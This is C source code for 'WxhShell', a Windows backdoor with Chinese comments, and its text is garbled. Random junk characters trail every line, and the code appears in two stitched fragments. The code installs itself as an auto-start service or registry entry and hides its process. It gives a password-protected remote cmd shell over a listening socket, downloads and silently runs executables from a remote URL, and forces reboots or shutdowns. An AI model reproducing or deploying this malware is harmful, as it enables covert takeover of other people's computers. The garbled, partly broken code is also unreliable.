    if(Boot(SHUTDOWN)) ;=uHK'{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AKAAb~{  
    else { 0/] @#G2  
    closesocket(wsh); 7r}gS2d  
    ExitThread(0); cwpDad[Kx  
    } 5~.\rcr%  
    break; *]Vx=7 D  
    } ^i:%;oeG  
  // 获取shell 4Nq n47|>e  
  case 's': { Wa[~)A  
    CmdShell(wsh); SXod r}  
    closesocket(wsh); Rbr vY  
    ExitThread(0); ,][+:fvS  
    break; GXHk{G@TS  
  } &Rn/ c}[{  
  // 退出 I [e7Up  
  case 'x': { 8n&",)U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EkTen:{G  
    CloseIt(wsh); P, S9gG9  
    break; 4AF" +L  
    } 7rhpIP2n  
  // 离开 EO| kiC   
  case 'q': { Y%&6qt G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XriVHb  
    closesocket(wsh); cAktSoF  
    WSACleanup(); z1V0WDVm  
    exit(1); BB|{VwN  
    break; ".w*_1G7U  
        } *`l>1)B>  
  } 3'.OghI  
  } 8^4X/n  
::M/s#-@  
  // 提示信息 (U7%Z<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o[cKh7&+  
} -rH3rKtf~  
  } p>!r[v'  
a .] !  
  return; aa".d[*1  
} U7ajDw  
B8TI 5mZ4  
// shell模块句柄 iK.MC%8?  
int CmdShell(SOCKET sock) Dt +"E  
{ g~V{Ca;}  
STARTUPINFO si; CMF1<A4]  
ZeroMemory(&si,sizeof(si)); r/{VL3}F_e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )8Q|y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .upcUS8  
PROCESS_INFORMATION ProcessInfo; fqZ!Bi  
char cmdline[]="cmd"; ?>AhC{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K=B[MT#V{2  
  return 0; 6,c,i;J_  
} v-Br)lLv  
}%jb/@~  
// 自身启动模式 }_gq vgI>p  
int StartFromService(void) s]2k@3|e  
{ uvmNQg  
typedef struct iT|+<h  
{ -)$)<k  
  DWORD ExitStatus; M>v M@j  
  DWORD PebBaseAddress; NGxii$F  
  DWORD AffinityMask; h1Q7(8=Eg  
  DWORD BasePriority; 9#3+k/A  
  ULONG UniqueProcessId; ^SjGNg^ 7D  
  ULONG InheritedFromUniqueProcessId; [M;P:@  
}   PROCESS_BASIC_INFORMATION; Ot,sMRk'  
riBT5  
PROCNTQSIP NtQueryInformationProcess; Y.hrU*[J0  
+"p" ,Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]XP[tLY Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L4[ bm[x  
{{ wVM:1  
  HANDLE             hProcess; MK"Yt<e(o  
  PROCESS_BASIC_INFORMATION pbi; Y{J/Oib  
"1[N;|xa  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ga,yFw  
  if(NULL == hInst ) return 0; +HfjnEbtBs  
aG" UV\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m|-O/6~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %ZQl.''ISa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gbInSp`4  
Qe4  
  if (!NtQueryInformationProcess) return 0; RCmPZ  
wZOO#&X#r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 10 p+e_@  
  if(!hProcess) return 0; |]I?^:I  
Ik}*7D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O=-|b kO  
Mv9s  
  CloseHandle(hProcess); H?aB8=)  
jn+0g:l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "`3H0il;<  
if(hProcess==NULL) return 0; W"2\vo)  
),~Ca'TU  
HMODULE hMod; z.jGVF4  
char procName[255]; MT V'!Zxs  
unsigned long cbNeeded; /`'50C j  
fO:*85 %}7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zY#U]Is  
^QnVYTM  
  CloseHandle(hProcess); +0=RC^   
*PMql$  
if(strstr(procName,"services")) return 1; // 以服务启动 `b] NB^/  
,)QmQ ^/  
  return 0; // 注册表启动 PDir?'  
} / _cOg? o  
 Et- .[  
// 主模块 HQE#O4  
int StartWxhshell(LPSTR lpCmdLine) !?+3 jzG  
{ yx}:Sgv%  
  SOCKET wsl; /g8yc'{p  
BOOL val=TRUE; "~+K`*0r8  
  int port=0; t /47lYN)  
  struct sockaddr_in door; ioviJ7N% O  
A2vOI8  
  if(wscfg.ws_autoins) Install(); d>aZpJ[.  
v\HGL56T  
port=atoi(lpCmdLine); a1}W2;W0]g  
*3k~%RM%?  
if(port<=0) port=wscfg.ws_port; 4,aBNuxWd  
PuOo^pFhH  
  WSADATA data; #h&?wE>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S9L3/P]  
LEhi/>T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V,Gt5lL&/!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O{dx+f  
  door.sin_family = AF_INET; tb=(L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <<`."RY#0  
  door.sin_port = htons(port); kNjbpCE\!  
}5]NUxQ_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *i n_Z t3  
closesocket(wsl); `#(4K4]1.  
return 1; l,/5$JGnk  
} $@U`zy"Y  
tl4;2m3w  
  if(listen(wsl,2) == INVALID_SOCKET) { SMhT>dB  
closesocket(wsl); nBD7  
return 1; 2?"9NQvz  
} G?"1 z;  
  Wxhshell(wsl); h?R-t*G?  
  WSACleanup(); 6iTDk  
SKS[Lf  
return 0; F0|T%!FB>%  
'WOW m$2  
} Ft|a/e  
eIEcj<f  
// 以NT服务方式启动 Qv?jo(]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =uvv|@Z  
{ pG4Hy$e  
DWORD   status = 0; ! [:K/  
  DWORD   specificError = 0xfffffff;  /!9949XV  
t=pG6U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #uH1!UQb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HD`%Ma Yhc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *;}!WDr  
  serviceStatus.dwWin32ExitCode     = 0; '}OrFN  
  serviceStatus.dwServiceSpecificExitCode = 0; ;WzT"yW)T  
  serviceStatus.dwCheckPoint       = 0; `hfwZ*s  
  serviceStatus.dwWaitHint       = 0; <W5F~K ;41  
]xS< \{og  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x##Iv|$  
  if (hServiceStatusHandle==0) return; Wm\f:|U5`  
`"bm Hs7  
status = GetLastError(); ogPfz/ hw  
  if (status!=NO_ERROR) ud.S, 8Sy  
{ G>!"XK:fB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J:Qp(s-N^:  
    serviceStatus.dwCheckPoint       = 0; S1=c_!q%9  
    serviceStatus.dwWaitHint       = 0; r|P4|_No  
    serviceStatus.dwWin32ExitCode     = status; ~+d]yeDrhx  
    serviceStatus.dwServiceSpecificExitCode = specificError; N@)g3mX>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dk.da&P  
    return; G +YF  
  } &zm5s*yNt  
? &1?uc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [OT@gp:  
  serviceStatus.dwCheckPoint       = 0; H(g&+Wcu=  
  serviceStatus.dwWaitHint       = 0; T"0a&.TLj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9!R!H&  
} f{+8]VA  
$Qm;F% >  
// 处理NT服务事件,比如:启动、停止  10DS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %d=-<EQ|&  
{ )8vcg{b{d  
switch(fdwControl) s_kI\w4(x1  
{ M'g4alS  
case SERVICE_CONTROL_STOP: bc 0|tJc  
  serviceStatus.dwWin32ExitCode = 0; P@Qo2zTh%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F-ZD6l9O  
  serviceStatus.dwCheckPoint   = 0; O ,DX%wk,  
  serviceStatus.dwWaitHint     = 0; mtF&Z\ag  
  { z1"UF4x*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8C YJR/  
  } 4o|~KX8Qz  
  return; $4L=Dg  
case SERVICE_CONTROL_PAUSE: n =v %}@f2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?+TD2~rD(  
  break; P(Lwpa,S  
case SERVICE_CONTROL_CONTINUE: &556;l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ilNm\fQ.  
  break; ~PV>3c3l=  
case SERVICE_CONTROL_INTERROGATE: n XQg(!  
  break; i?a]v 5  
}; ) ejvT-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n_w,Ew,>5  
} [s2%t"H-y  
'-*r&:  
// 标准应用程序主函数 co*5NM^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5 Fd]3  
{ 3;Xs`dk  
X~j A*kmAj  
// 获取操作系统版本 7/~"\nN:/  
OsIsNt=GetOsVer(); N* z<VZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "=RB #  
- Zw"o>  
  // 从命令行安装 N[mOJa:  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ea3tF0{  
G{s ,Y^  
  // 下载执行文件 $4?%Z>'  
if(wscfg.ws_downexe) { k20H|@g2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8G@FX $$Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); =6 [!'K  
} )XNcy"   
qH(2 0Z!  
if(!OsIsNt) { HnpGPGz@F  
// 如果时win9x,隐藏进程并且设置为注册表启动 !O.B,  
HideProc(); Q/+a{m0 f  
StartWxhshell(lpCmdLine); w"Z >F]YZ  
} Uligr_c?  
else pu^1s#g8w  
  if(StartFromService()) -ss2X  
  // 以服务方式启动 Wd%j;glG  
  StartServiceCtrlDispatcher(DispatchTable); h&Sl8$jVp  
else >LNl8X:Cz*  
  // 普通方式启动 bb<Vh2b>R  
  StartWxhshell(lpCmdLine); T<ua0;7  
y"]> Rr  
return 0; U%#=d@?  
} (z.Vwl5  
G9gvOEI/  
\2LCpN  
1DBzD%@Oz  
=========================================== !K@y B)9  
I4)vJ0  
Obd!  
`W/6xm(X5;  
wgufk {:  
_%>.t  
" Zdak))7  
O8lOr(|l  
#include <stdio.h> SrKF\h%/+  
#include <string.h> i<T`]g  
#include <windows.h> eFx*lYjA  
#include <winsock2.h> k{;:KW|  
#include <winsvc.h> 44]ae~@a  
#include <urlmon.h> ^a]i&o[c  
{wm  `  
#pragma comment (lib, "Ws2_32.lib") vD*KJ3(c  
#pragma comment (lib, "urlmon.lib") [;b9'7j'  
a#{a{>  
#define MAX_USER   100 // 最大客户端连接数 ;J _d%  
#define BUF_SOCK   200 // sock buffer J) (pGS@  
#define KEY_BUFF   255 // 输入 buffer <ImeZ'L7  
qzG'Gz{{qu  
#define REBOOT     0   // 重启 :')<|(Zy  
#define SHUTDOWN   1   // 关机 D?E5p.!A  
ZqhINM*Rm  
#define DEF_PORT   5000 // 监听端口 k82'gJ;MC=  
n2QD*3i  
#define REG_LEN     16   // 注册表键长度 >SzTZ3!E  
#define SVC_LEN     80   // NT服务名长度 '.bMkty#  
II2oV}7?  
// 从dll定义API ;S%wPXj&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :r6 bw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >,y QG+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;Rt,"W)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k4|YaGhf  
m:H )b{  
// wxhshell配置信息 (2{1m#o  
struct WSCFG { >!wwXhH(  
  int ws_port;         // 监听端口 &Y,Rm78  
  char ws_passstr[REG_LEN]; // 口令 Z# :Ww  
  int ws_autoins;       // 安装标记, 1=yes 0=no @!Pq"/  
  char ws_regname[REG_LEN]; // 注册表键名 &A`QPk8n  
  char ws_svcname[REG_LEN]; // 服务名 UOwj"#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )oNomsn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F |GWYw'%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `aUA_"f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i ^W\YLE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M"J $c42  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bySw#h_  
8Ej2JMc  
}; p&q&Fr-   
)PwDP  
// default Wxhshell configuration BvYJ!Vj  
struct WSCFG wscfg={DEF_PORT, 9K&b1O@Aj  
    "xuhuanlingzhe", DS^Q0 f  
    1, `,|7X]%b  
    "Wxhshell", 5H5< ft,  
    "Wxhshell", dW=]|t&  
            "WxhShell Service", %>s y`c  
    "Wrsky Windows CmdShell Service", aR3W9  
    "Please Input Your Password: ", ._nhW*  
  1, }X`K3sk2/z  
  "http://www.wrsky.com/wxhshell.exe", .$r(":A#)  
  "Wxhshell.exe" S5XFYQ  
    }; .z9JoQ  
[[)HPHSQ  
// 消息定义模块 |5W u0T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5zU D W?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;\H2U .  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -W oZwqh  
char *msg_ws_ext="\n\rExit."; _LS=O@s^  
char *msg_ws_end="\n\rQuit."; `fL$t0 "  
char *msg_ws_boot="\n\rReboot..."; Ms$kL'/  
char *msg_ws_poff="\n\rShutdown..."; 2#rF/!`^  
char *msg_ws_down="\n\rSave to "; +Oxl1fDf  
P3:hGmk8|j  
char *msg_ws_err="\n\rErr!"; *v&g>Ni  
char *msg_ws_ok="\n\rOK!"; Z)ObFJMG5  
N#UyAm<9  
char ExeFile[MAX_PATH]; S |B7HS5  
int nUser = 0; ){,8}(|  
HANDLE handles[MAX_USER]; 0>AA-~=-  
int OsIsNt; eHv/3"Og  
^ sz4rk  
SERVICE_STATUS       serviceStatus; e06r5%|.%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VJPt/Dy{  
Vdjca:`  
// 函数声明 \_+d*hHF~  
int Install(void); Bp b_y;E  
int Uninstall(void); sqkPC_;A  
int DownloadFile(char *sURL, SOCKET wsh); K/08F|]a  
int Boot(int flag); Xf.SJ8G  
void HideProc(void); zIlQqyOQ8  
int GetOsVer(void); 0R; ;ou  
int Wxhshell(SOCKET wsl); Gz kf  
void TalkWithClient(void *cs); z,^baU  
int CmdShell(SOCKET sock); /|>z7#?m^  
int StartFromService(void);  ]@<O!fS  
int StartWxhshell(LPSTR lpCmdLine); Bq\%]2;eo{  
? 1_*ct=g9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); khyV uWN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y0z}[hZ  
jPFA\$To  
// 数据结构和表定义 U/TF,JUI  
SERVICE_TABLE_ENTRY DispatchTable[] = UGAP$_j ]P  
{ d#A.A<p*  
{wscfg.ws_svcname, NTServiceMain}, `"    
{NULL, NULL} eE7+fMP{  
}; j]jwQRe  
5Zh /D0!|  
// 自我安装 )WD<Q x&  
int Install(void) &OsJnkY<<  
{ JH2d+8O:qK  
  char svExeFile[MAX_PATH]; Of-l<Ks\  
  HKEY key; L-q.Q  
  strcpy(svExeFile,ExeFile); oo<,hOv   
Bl(we/r  
// 如果是win9x系统,修改注册表设为自启动 w%`7,d u|  
if(!OsIsNt) { ?a(ApD\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4D0"Y #&G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9CxU: ;3  
  RegCloseKey(key); @ UX'(W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;Q\Duj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {Z$Aw4a"d  
  RegCloseKey(key); dMYDB  
  return 0; 2jaR_` `=:  
    } /SjA;c! .  
  } {&m^*YN/  
} 3Ju<jXoo!  
else { >NK*$r8  
Z+E@B>D7A^  
// 如果是NT以上系统,安装为系统服务 %[5hTf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <kp?*xV]]  
if (schSCManager!=0) V|DAw[!6N  
{ iz& )FuOr  
  SC_HANDLE schService = CreateService s )\%%CM  
  ( xa??OT`(  
  schSCManager, H71LJfH  
  wscfg.ws_svcname, K oo%mr   
  wscfg.ws_svcdisp, `cCsJm$V"  
  SERVICE_ALL_ACCESS, N<9C V!_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R9^Vk*`gFU  
  SERVICE_AUTO_START, RYy_Ppn96f  
  SERVICE_ERROR_NORMAL, +A O(e  
  svExeFile, A-qdTJP  
  NULL, 6gNsh  
  NULL, 3N[t2Y1r  
  NULL, FG:(H0  
  NULL, G-~+FnUC  
  NULL 5v6*.e'p  
  ); 1d"g $i4e  
  if (schService!=0) &KmV tj  
  { }[\l$sS  
  CloseServiceHandle(schService); xZwG@+U=X  
  CloseServiceHandle(schSCManager); o^}K]ML!t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :!n_a*.{  
  strcat(svExeFile,wscfg.ws_svcname); 1=}+NK!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9aHV~5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g Q6_]~4  
  RegCloseKey(key); ]oUvC  
  return 0; !0i  
    }  $TGE  
  } <Y9%oJn%  
  CloseServiceHandle(schSCManager); A_i=hj 2f  
} 9rf6,hF  
} 'H0uvvhOp  
k+t?EZ6L  
return 1; j KGfm9|zj  
} ~+ Mp+gE  
-XRn%4EX?  
// 自我卸载 j  Jt"=  
int Uninstall(void) Op0n.\>  
{ 49W@?: b  
  HKEY key; yb\T< *  
sIJl9  
if(!OsIsNt) { dG2k4 O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Arc6d5Q  
  RegDeleteValue(key,wscfg.ws_regname); H,u{zU')  
  RegCloseKey(key); ?0*,x)t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P%2aOsD0  
  RegDeleteValue(key,wscfg.ws_regname); r~nD%H:}P  
  RegCloseKey(key); `tw[{Wb  
  return 0; B:J([@\'  
  } V"K-aO&  
} XYj!nx{k,  
} I&vD >a5#  
else { 5$$Yce=k  
]{ ^'{z$i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +N n $  
if (schSCManager!=0) lJb1{\|.,  
{ ;UUpkOQO(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3Xcjr2]~  
  if (schService!=0) 1cq"H/N  
  { uGt}Hn  
  if(DeleteService(schService)!=0) { Gj!9#on$7R  
  CloseServiceHandle(schService); C.4r`F$p  
  CloseServiceHandle(schSCManager); rZ'&'#Q  
  return 0; F#-mseKhc  
  } ",O |uL  
  CloseServiceHandle(schService); >8M=RE n4  
  } Bie#GKc  
  CloseServiceHandle(schSCManager); S#Q0aG j  
} JJe8x4  
} !:Z lVIA  
>-oB%T  
return 1; e<A6= }  
} wr5ScsNS  
AS5' j  
// 从指定url下载文件 2S,N9 (7  
int DownloadFile(char *sURL, SOCKET wsh) R RRF/Z;))  
{ !B|Aq- n,  
  HRESULT hr; ;YN`E  
char seps[]= "/"; ] MP*5U>;  
char *token; . ,h>2;f  
char *file; f.)z_RyGd  
char myURL[MAX_PATH]; Jt ++3]  
char myFILE[MAX_PATH]; x%_VzqR`  
# RoJD:9  
strcpy(myURL,sURL); ^#( B4l!  
  token=strtok(myURL,seps); ty ESDp%  
  while(token!=NULL) u:]c  
  { YN]xI  
    file=token; $|"Y|3&X  
  token=strtok(NULL,seps); ZNDn! Sj  
  } Ms=5*_J2Jk  
_ ck)yY?7  
GetCurrentDirectory(MAX_PATH,myFILE); 11VtC)  
strcat(myFILE, "\\"); `^v=*&   
strcat(myFILE, file); |qs8( 5z0  
  send(wsh,myFILE,strlen(myFILE),0); *jR4OY|DXH  
send(wsh,"...",3,0); [g<Y,0,J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I|n? 32F  
  if(hr==S_OK) =y^`yv 3  
return 0; baQORU=X  
else /Fk]>|*  
return 1; O:E0htdWr  
_"%hcCMw  
} d4~;!#<  
- f?8O6e  
// 系统电源模块 XQ3"+M_KG  
int Boot(int flag) \+)aYP2Hu  
{ "_^vQ1M]Z  
  HANDLE hToken; _^/k  
  TOKEN_PRIVILEGES tkp; 9\'JtZO  
`' .;U=mF  
  if(OsIsNt) { HVdy!J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CP'b,}Dd?I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ' kOkwGf!  
    tkp.PrivilegeCount = 1; ~U r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X;bHlA-g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y'5`Uo?\",  
if(flag==REBOOT) { oyT`AYa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dy>5LzqK3  
  return 0; K/iFB  
} S;0z%$y  
else { n1U!od  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \wV^uS   
  return 0; O=[Q >\p  
} J Bgq2  
  } ["fUSQ  
  else { tVv/G ~(  
if(flag==REBOOT) { ))%f"=:wt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U)[LKO1  
  return 0; C: AD ZJL  
} A` ~R\j  
else { i/ .#`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =,b6yV+$D  
  return 0; 4^Ss\$*  
} 1=Kt.tuf  
} ^IgQI N  
"T$LJ1E  
return 1; b>-h4{B[  
} Cag^$nj  
w}]BJ<C  
// win9x进程隐藏模块 0QP=$X  
void HideProc(void) BOOb{kcg  
{ (|\%)v H-  
C$0rl74Wi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0q4P hxR`e  
  if ( hKernel != NULL ) 0q28Ulv9  
  { *sQ.y {  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GrUpATIx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KE.O>M ,I.  
    FreeLibrary(hKernel); `_k_}9Fr  
  } hg %iv%1B'  
8J#xB  
return; 0&u=(;Dr\  
} ;Fo7 -kK  
~:L5Ar<  
// 获取操作系统版本 #Iu "qu  
int GetOsVer(void) S{RRlR6Z  
{ ,.kmUd  
  OSVERSIONINFO winfo; QOX'ZAB`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <5E)6c_W)  
  GetVersionEx(&winfo); Im?/#tX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k8\ KCKql  
  return 1; 3@nIoN'z  
  else Q<NQ9lX  
  return 0; (*M0'5  
} cTW$;Fpc+  
e"UXG\8D  
// 客户端句柄模块 Vm?#~}T  
int Wxhshell(SOCKET wsl) 7+8 8o:G9  
{ {Q>4zepN!  
  SOCKET wsh; >k ==7#P  
  struct sockaddr_in client; .sc80i4  
  DWORD myID; Oq$-*N  
6 .9C 4  
  while(nUser<MAX_USER) EKO~\d  
{ @3y >|5 Y  
  int nSize=sizeof(client); q:nUn?zB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3ZC@q #R A  
  if(wsh==INVALID_SOCKET) return 1; s2( 7z9jR  
ALn_ifNh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !rs }83w!  
if(handles[nUser]==0) ]cv/dY#  
  closesocket(wsh); nrA 4N1  
else :f:&B8  
  nUser++; lI%RdA[  
  } Wy\^}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BL~#-Mm<|l  
C =CZtjUt  
  return 0; #D#kw*c  
} w:9`R<L  
5VpqDL~d  
// 关闭 socket =`*@OJHH  
void CloseIt(SOCKET wsh) >0[:uu,'>  
{ ,cxe"U  
closesocket(wsh); giH#t< )W  
nUser--; Zn0a)VH%  
ExitThread(0); r;)31Tg  
} #eN2{G=4+  
e|W;(@$<  
// 客户端请求句柄 H0 Z o.Np  
void TalkWithClient(void *cs) !vSq?!y6*P  
{ tAo$; |  
C:t?HLY)fG  
  SOCKET wsh=(SOCKET)cs; *|j4>W\J  
  char pwd[SVC_LEN]; w#hg_RK(Jr  
  char cmd[KEY_BUFF]; *- ~GVe  
char chr[1]; +8W5amk.P|  
int i,j; R>Dr1fc}  
).`v&-cK4E  
  while (nUser < MAX_USER) { ,;hpqu|  
 Lagk   
if(wscfg.ws_passstr) { ;&gk)w6*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4%zy$,|e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pwj|]0Y@  
  //ZeroMemory(pwd,KEY_BUFF); S(U9Dlyarg  
      i=0; #>HY+ ;  
  while(i<SVC_LEN) { ~ o2Z5,H  
*iY:R  
  // 设置超时 WVsj  
  fd_set FdRead; =L@CZ"  
  struct timeval TimeOut; j!kJ@lbP  
  FD_ZERO(&FdRead);  zR'EQ  
  FD_SET(wsh,&FdRead); 0'THL%lK  
  TimeOut.tv_sec=8; <KK.f9^o(  
  TimeOut.tv_usec=0; x_I*6?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #_x5-?3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xn?.Od(  
"wcw`TsK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  3s| :7  
  pwd=chr[0]; D"-Wo}"8O'  
  if(chr[0]==0xd || chr[0]==0xa) { D5oYcGc  
  pwd=0; 9BpxbU+L;  
  break; >Ut: -}CS  
  } SOX7  
  i++; g\q4-  
    } 94et ]u%7  
YjnQ@IfIH  
  // 如果是非法用户,关闭 socket - f ^ ! R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b{,v?7^4  
} TQKcPVlE  
wdf;LM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0>Td4qr+u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N P+ vi@Ud  
{$Uj&/IC  
while(1) { QZG<sZ0"  
&o7PB` (l  
  ZeroMemory(cmd,KEY_BUFF); (3$DUvx7  
^fe,A=k~1  
      // 自动支持客户端 telnet标准   _68vSYr  
  j=0; XkkzY5rxOc  
  while(j<KEY_BUFF) { i].E1},%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TmftEw>u  
  cmd[j]=chr[0]; z;P#  
  if(chr[0]==0xa || chr[0]==0xd) { F!g1.49""  
  cmd[j]=0; rNJU & .]  
  break; v0!|TI3s  
  } !hM`Oe`S  
  j++; ;-JFb$m  
    } !ht2*8$lQ  
Wu<;QY($5  
  // 下载文件 /*>}y$  
  if(strstr(cmd,"http://")) { YmFg#eS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rm ;U' &{  
  if(DownloadFile(cmd,wsh)) N%>h>HJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9B;WjXSe  
  else jIr\.i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q0Do B  
  } 4)OOj14-V  
  else { X<.l(9$  
